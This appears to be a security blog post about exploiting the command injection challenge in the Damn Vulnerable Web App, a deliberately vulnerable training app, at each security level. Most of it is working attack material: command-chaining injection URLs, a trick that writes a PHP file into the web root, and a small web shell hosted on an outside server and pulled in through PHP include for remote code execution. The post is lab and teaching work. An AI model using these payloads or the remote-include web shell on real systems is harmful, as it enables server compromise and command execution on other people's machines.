In preparation for a new web security training course (german, coming soon), I had another look at the current version of the Damn Vulnerable Web App (DVWA). As I documented the solution for the command injection vulnerability on high, I found something that sparked a tiny idea how this part might be exploited in a totally different way. Obviously I had to investigate further and since I didn't see this solution out there already, I documented it here for anyone who's interested.
I'm not going to go into DVWA itself, if you are not familiar with it, please have a look at the github page. What I am going to do however, is detail the intended way to exploit this vulnerability.
DVWA has three settings for each vulnerability. The command injection weakness on a low security level is as easy as this:
// code snippet shell_exec(ping -c 4 $_REQUEST['ip']; // easily exploitable with http://dvwa.whatever.tld/vulnerabilities/exec/?ip=127.0.0.1;whoami // which results in ping -c 4 127.0.0.1;whoami
Now on the medium security security level, dvwa starts limiting the options by filtering out certain characters, i.e.
;. It's still easy enough to exploit, for example by using only one
& or one of the numerous other chars that let us chain commands. I wanted to see, whether the
$ char could be used for mischief on its own without using parentheses (
$(command)) and came up with the following idea for medium.
// extract variable information using $ http://dvwa.whatever.tld/vulnerabilities/exec/?ip=.$PWD+2>/var/www/dvwa/cmd.log // which would result in this command being executed ping -c 4 .$PWD 2>/var/www/dvwa/cmd.log // and sure enough, when I visited http://dvwa.whatever.tld/cmd.log to have a look at the result file, the following result was shown ping: ./var/www/dvwa/vulnerabilities/exec: Name or service not known
By feeding environment variables prepended with a
. to ping instead of a valid IP and redirecting the output to a document in the web directory, we can see the value of the variable.
Unfortunately, on high difficulty that attack is not usable anymore, since
$ is filtered out, as well as a bunch of other characters.
Someone with a keen eyes should spot the error in the mistake in the list show above. The character
| is not filtered out, instead the combination of
// Command can still be injected by using | without a whitespace http://dvwa.whatever.tld/vulnerabilities/exec/?ip=127.0.0.1|whoami // which results in ping -c 4 127.0.0.1|whoami
Now that is the intended way to exploit DVWA on high. I was curious however, whether this vulnerability can be exploited to execute system commands by using some of the remaining characters that haven't been filtered out, especially
I assume this was not the intended way to exploit this weakness, but then again, who wants to exploit something the intended way?
Step one is to check, whether we can still write text into a file. We can't use environment variables anymore, but being able to write (somewhat limited) arbitrary text into a file should be good enough.
// OWASP ZAP POST request POST http://dvwa.whatever.tld/vulnerabilities/exec/ HTTP/1.1 // POST data ip=.'test' 2>/var/www/dvwa/test.php&Submit=Submit // GET result for /test.php ping: .test: Name or service not known
Great, we can still write to a file in the web directory. Next we're going to try and inject some PHP code.
// POST data ip=.'<?php echo "what is this then?<!--"?>' 2>/var/www/dvwa/test.php&Submit=Submit // GET result for /test.php ping: .what is this then?
Awesome, so PHP code is not a problem. Next, we want to execute system commands, and that's where it get a bit tricky, or so I thought.
// POST data ip=.'<?php shell_exec("ls -lah")?>' 2>/var/www/dvwa/test.php&Submit=Submit // GET result for /test.php <blank page>
Damn. If we take a look at the blacklist above, it should be fairly obvious why that doesn't work. The characters
) are all being filtered out, so our PHP coding options are somewhat limited.
The big question is, what can we do in PHP without these characters? Well, there are still some options. What we can use to our advantage in this scenario are language constructs (see solidlystated of an explanation). Language constructs are similar to functions but don't require parantheses, as shown in the
echo example above. Luckily, besides
echo, there is also the construct
include, which allows us to include local or even remote files, although the later requires
allow_url_include to be enabled in the PHP options.
So, off we go to write our own dirty little PHP script which we host on a server that is reachable by our target machine. One very, very simple example would be:
<?php $out=shell_execute($_REQUEST['cmd']); echo "<br><b>CMDi result for:</b>".$_REQUEST['cmd']."<br>".$out"</br>; ?>
Of course, that's not secure coding at all, but I promise I won't ship it in production. With the script hosted, we can now attempt to inlcude it in DVWA using the following request.
// POST data ip=.'<?php include "http://pwny.whatever.tld/cmd.php.txt"?><!--' 2>/var/www/dvwa/test.php&Submit=Submit
And the GET result for
Not much to say here, it was fun tinkering around with a vulnerability that I thought I knew already and finding a new way to exploit it. As I said, the
include construct requires
allow_url_include to be set in order to include remote sources, so this is not a sure fire way of exploiting a faulty command execution feature. Nevertheless, I learned a new approach to this type of vulnerability and I hope other have too by reading this. If you have questions or additional ideas, I'm all ears. Best tweet me @hashtagsecurity or us @LastBreach.